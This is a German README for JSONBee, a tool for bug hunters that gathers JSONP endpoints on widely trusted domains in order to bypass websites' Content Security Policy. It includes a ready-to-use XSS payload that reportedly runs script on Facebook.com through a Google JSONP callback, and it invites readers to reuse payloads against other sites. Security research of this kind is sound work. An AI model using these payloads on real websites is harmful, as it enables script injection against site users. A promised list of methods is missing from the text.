
Einsatzbereite JSONP-Endpunkte/-Payloads zur Umgehung der Content Security Policy (CSP) verschiedener Websites.
Ein einsatzbereites JSONP-Endpunkt-Set, um die Content Security Policy verschiedener Websites zu umgehen.
Das Tool wurde während der HackIT 2018 in Kiew vorgestellt. Die Präsentation ist hier zu finden (keine Ahnung, warum das Format der Folien versaut ist :D): https://www.slideshare.net/Hacken_Ecosystem/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy
Die Hauptidee hinter diesem Tool ist es, die JSONP-Endpunkte zu finden, die Ihnen helfen, die Content Security Policy für Ihre Zielwebsite automatisiert zu umgehen. JSONBee nimmt als Eingabe eine URL (z.B. https://www.facebook.com), analysiert die CSP (Content-Security-Policy) und schlägt automatisch das XSS-Payload vor, das die CSP umgeht. Es konzentriert sich hauptsächlich auf JSONP-Endpunkte, die während meiner Bug-Bounty-Jagdaktivitäten gesammelt wurden, und kann verwendet werden, um die CSP zu umgehen.
JSONBee verwendet 3 Methoden, um die JSONP-Endpunkte zu sammeln:
Das Tool ist noch nicht vollständig abgeschlossen, da ich noch einige Validierungen und Funktionen hinzufüge. Das Repository wird jedoch hier gehostet, damit jeder es nutzen kann, bis das Tool fertig ist.
Das Repository enthält einsatzbereite Payloads, die die CSP für Facebook.com, Google.com und weitere umgehen können.
Umgehen der Content-Security-Policy von Facebook.com:
Facebook.com erlaubt *.google.com in seiner CSP-Richtlinie (script-src-Direktive), daher würde das folgende Payload wie ein Zauber wirken, um JavaScript auf Facebook.com auszuführen:
"><script+src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)"></script>
Wenn Sie auf eine Website stoßen, die eine beliebige der Domains in der Datei jsonp.txt in ihrer script-src-Direktive vertraut, dann schnappen Sie sich ein Payload, das zur Domain passt, und viel Spaß :)
Sie sind alle herzlich eingeladen, durch das Hinzufügen von Links zu Websites, die JSONP-Endpunkte/Callbacks verwenden, beizutragen, um das Repository größer und nützlicher für Bug Hunter, Pentester und Sicherheitsforscher zu machen.